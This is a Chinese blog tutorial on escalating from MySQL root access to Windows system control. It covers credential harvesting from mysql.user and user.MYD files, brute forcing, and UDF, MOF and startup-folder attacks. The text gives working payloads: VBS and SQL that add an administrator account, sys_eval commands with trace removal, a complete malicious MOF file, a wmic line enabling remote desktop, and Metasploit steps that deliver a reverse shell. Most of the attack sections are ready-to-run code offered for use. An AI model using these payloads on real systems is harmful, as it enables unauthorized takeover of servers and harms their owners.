提权-MySQL数据库提权

这篇具有很好参考价值的文章主要介绍了提权-MySQL数据库提权。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

数据库提权条件

1.服务器开启了数据库服务。
2.知道数据库最高权限帐号密码。
除了access数据库外,其他数据库都有提权的可能。

探针服务器数据库应用方法

1.端口扫描
  通过端口判断是都运行了数据库服务。
常见数据库默认端口:
Oracle — 1521
MySQL — 3306
SQL Server — 1433
PostgreSQL — 5432
MongoDB — 27017
Redis — 6379
Memcached — 11211
Kafka — 9092
es启动监听两个端口,9300和9200
有些网站会修改数据库的默认端口,在端口扫描时,发现特殊端口可以写脚本对该端口进行猜测它使用的数据库类型,然后尝试连接来判断。
2.服务
查看系统服务
3.其他。

数据库帐号密码收集方法

1.配置文件
查看网站配置文件
关注:sql data inc config conn database common include等文件。
  比较重要的网站上线后,数据库用户给的权限很低,这种在网站配置文件中往往找不到root账户密码。甚至有些网站不会把数据库用户名密码写到配置文件中,有的放在系统环境变量中,有的使用插件其他位置存放,把重点放到后面几种方式中。

2.读取数据库存储文件:
  MySQL数据库中数据库用户以及密码存放在mysql下面的 user 表中,可以使用查询语句查询 select * from mysql.user;查询到root用户账户密码。
mysql数据库提权,web安全,安全
  还有一种方式查看,就是数据库中每一个表都是由 .frm .MYD .MYI 三个文件组成,其中数据存放在 .MYD 文件中,我们找到了.MYD文件就能其中数据,我们到MySQL data目录下找mysql目录找到user 然后读取user.MYD,就能读取到root用户账户密码了。
mysql数据库提权,web安全,安全
3.暴力破解
  获取数据库root密码,一般我们使用前两种方法居多,如果前两种方法实在用不了,我们才考虑使用暴力猜解。
root账户一般是不支持外联
  如果数据库root账户支持远程连接我们可以是使用MSF来暴力破解:
使用MSF auxiliary/scanner/mysql/mysql_login这个模块。
不支持外联的话:
上传脚本到服务器暴力猜解,脚本网上有很多自己搜,或者自己写一个爆破脚本,脚本不重要重要是密码字典。
4.其他方式

MySQL数据库提权方法

UDF:
  提权原理:MySQL安装后默认是继承系统权限,我们通过udf(user definedfunction,用户定义函数)通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令,从而获得系统权限。
条件:
1.知道数据库的root用户和密码;
2.mysql可以远程登录;
3.mysql有写入文件的权限,即secure_file_priv的值为空。

MOF
原理:
  mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。使用mysql的root权限去执行我们上传的mof,隔一定时间这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs是使用cmd命令添加管理员用户。
条件:
1.mysql有root权限
2.secure_file_priv的值为空
3.适用于windows系统,2008系统及以下才可以用

启动项
  windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

1.自动化脚本:
  在web权限的时候进行提权,先查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。
下面使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码。

set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

2.MySQL、sql语句进行启动项提权
  链接MySQL按下面操作即可,操作完成之后让服务器重启,test用户就是administrators 了。

use mysql;
create table test(cmd text);
insert into a values(set wshshell=createobject(“”wscript.shell””));
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0));
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0));
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

让服务器重启DDOS攻击。

还可以通过cve漏洞进行提权

演示

1.MySQL - UDF提权

1.获得root账户密码。获取方式上面有讲这里就跳过
2. 执行show variables like ‘secure_file_priv’; 结果为空证明可写入。
mysql数据库提权,web安全,安全
3.SELECT @@version%,查看数据库版本
  如果 mysql 版本⼤于5.1,udf.dll⽂件必须放置在 mysql 安装⽬录的lib\plugin ⽂件夹下。(当MySQL>5.1,该目录默认不存在)。
  如果 mysql 版本⼩于5.1,udf.dll⽂件在 windows server 2003 下放置于c:\windows\system32⽬录,在windows server 2000下放置在 c:\winnt\system32 ⽬录
如果没有lib和plugin文件夹,可以在webshell下直接手动创建两个文件夹,下面两句命令也可以ADS文件流形式创建两个文件夹

select 'aaa' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'

4.把udf.dll文件上传到这个lib\plugin目录下
mysql数据库提权,web安全,安全
udf.dll文件可以在sqlmap或者msf里面获取。
4.udf文件利用:create function sys_eval returns string soname ‘udf.dll’;  # 使用udf.dll创建恶意函数sys_eval,函数可以打开sqlmapudf.dll最下面查看,这里我们选择sys_eval即可
mysql数据库提权,web安全,安全
select sys_eval(‘whoami’);  # 执行查看当前权限,system
select sys_eval(‘net user udfadmin 123 /add && net localgroup administrators udfadmin /add’)  #创建一个管理员账号
drop function sys_eval;  #销毁函数,简单痕迹清除
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1  # 开启远程桌面,登录udfadmin用户

2.MOF提权

mof文件代码:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

mysql数据库提权,web安全,安全
原理是使用MySQLroot用户高权限来替换系统mof文件,mof文件每个一段时间会自动执行,来达到提权目的,一般直接创建一个管理员账户。
具体操作:
1.将mof上传至任意可读可写目录下。例如:D:\phpStudy\PHPTutorial\WWW/text.mof
2.使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
SQL语句:select load_file(‘D:\phpStudy\PHPTutorial\WWW/text.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;

3. 启动项提权(利用MSF生成)

1.需要获得数据库root账户密码
2.需要开启数据库外联
第一步:
MSF 搜索EXP:search mysql
mysql数据库提权,web安全,安全
可以看到 mysql_udf mysql_mof的EXP这里都有。

第二步骤选择这个mysql_start_up并填写参数
use exploit/windows/mysql/mysql_start_up
show options
mysql数据库提权,web安全,安全
需要设置数据库password,目标地址,数据库用户名
STARTIUP_FOLDER为启动项的目录,默认的,根据实际情况更改。
写入设置,如果需要反弹shell,则把LOHST设置为自己本机msf的ip
mysql数据库提权,web安全,安全
exploit执行,执行成功后msf会把EkQek.exe文件上传到目标服务器,上传的路径为STARTIUP_FOLDER设置的路径(开机自启动的目录)
需要服务器重启这个文件才能被执行。
执行后会返回一个回话到MSF中文章来源地址https://www.toymoban.com/news/detail-628467.html

到了这里,关于提权-MySQL数据库提权的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • MySQL数据库安全与备份

    ✅作者简介:热爱Java后端开发的一名学习者,大家可以跟我一起讨论各种问题喔。 🍎个人主页:Hhzzy99 🍊个人信条:坚持就是胜利! 💞当前专栏:MySQL 🥭本文内容:深入理解Java数据结构里面的树。 MySQL是一个非常受欢迎的开源关系数据库管理系统,广泛应用于各种业务和

    2024年02月06日
    浏览(38)
  • restful web服务实现mysql+debezium+kafka对mysql数据库的业务实时变更数据监控

    请写java程序,创建restful web服务,示范利用RestController、Debezium和KafkaListener通过binlog日志监控并获得mysql业务数据库变更,请用具体数据集举例说明以上程序各步骤处理结果 该问题首先要了解restful web服务,Debezium和kafka相关知识。 1.restful web服务 RESTful是HTTP接口调用的一种特殊

    2024年01月21日
    浏览(63)
  • [Java Web]JDBC->Java操作MySQL数据库

    目录 1、简介 1.1、背景 1.2、概念 1.3、驱动程序 2、JDBC的优点 3、使用步骤 3.1、操作流程 3.2、代码步骤 3.3、实例演示 3.3.1、创建空工程 3.3.2、指定项目的名称以及存放路径 3.3.3、设置项目的JDK版本和编译版本 3.3.4、创建模块 3.3.5、⭐导入MySQL驱动包 3.3.6、⭐创建Java类 4、API详

    2024年02月03日
    浏览(69)
  • eclipse之MySQL数据库与Web前段存储交互

    首先我们新建一个HTML文件和一个Servlet文件 新建一个文件Package文件,命名为com.sql  将此文件拖入lib文件里(下载mysql-connector-java jar包_mysql-connector-java-5.7.33jar-CSDN博客) 在com.sql中创建以下文件 DBC文件内容: 解释 package com.sql; import java.sql.Connection; import java.sql.DriverManager; publ

    2024年04月12日
    浏览(33)
  • MySQL数据库安全配置:如何防范常见的攻击

    MySQL数据库安全性是在网络环境中运行MySQL数据库的关键问题之一。数据库安全性是确保数据完整性、机密性和可用性的过程。MySQL数据库安全性涉及到数据库系统的安全性、数据安全性和系统安全性等方面。 MySQL数据库安全性的主要问题是数据库攻击。数据库攻击是指通过网

    2024年04月12日
    浏览(36)
  • 【MySQL】数据库完整性和安全性

    目录   一、完整性 1.概念 2.sql语言支持的两种约束     2.1静态约束          撤销追加约束          断言     2.3动态约束           触发器 二、安全性 用DBMS对数据库实现的两个特性  1.概念 指dbms保证的db的一种特性,在任何情况下的正确性、有效性、一致性 原理图

    2023年04月24日
    浏览(89)
  • ASP.NET WEB API通过SugarSql连接MySQL数据库

    注意:VS2022企业版可以,社区版可能存在问题。实体名称和字段和数据库中的要一致。 1、创建项目,安装SqlSugarCore、Pomelo.EntityFrameworkCore.MySql插件 2、文件结构 2、appsettings.json { “Logging”: { “LogLevel”: { “Default”: “Information”, “Microsoft.AspNetCore”: “Warning” } }, “Allowed

    2024年02月12日
    浏览(43)
  • mysql5.7数据库配置(安全以及binlog)

    1、安装validate_password插件: 登录mysql,查询已安装的插件: show plugins; 查询mysql插件目录位置: show variables like “%plugin_dir%”; 找到对应的目录,mysql自带 validate_password,然后我们将这个插件进行安装 通过命令行安装(可以不用重启服务): install plugin validate_password soname ‘vali

    2024年01月18日
    浏览(55)
  • 更换Mysql数据库-----基于Abo.io 的书籍管理Web应用程序

    1. 其新的ABP框架可方便的开发微服务并使它们相互通信。亦可作为微服务单独部署,或者可以嵌入到单个应用程序中; 2. 模块化。最明显的就是更加模块化,使项目更加清晰明了,设计更合理; 3. 更多可扩展性。新的ABP框架为内置服务提供了更多的扩展点和覆盖的能力;

    2024年02月06日
    浏览(47)
  • 基于Linux对MySQL数据库的安全加固指南(超实用--实战版)

    👨‍🎓 博主简介   🏅云计算领域优质创作者   🏅华为云开发者社区专家博主   🏅阿里云开发者社区专家博主 💊 交流社区: 运维交流社区 欢迎大家的加入! 🐋 希望大家多多支持,我们一起进步!😄 🎉如果文章对你有帮助的话,欢迎 点赞 👍🏻 评论 💬 收藏

    2024年02月07日
    浏览(67)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包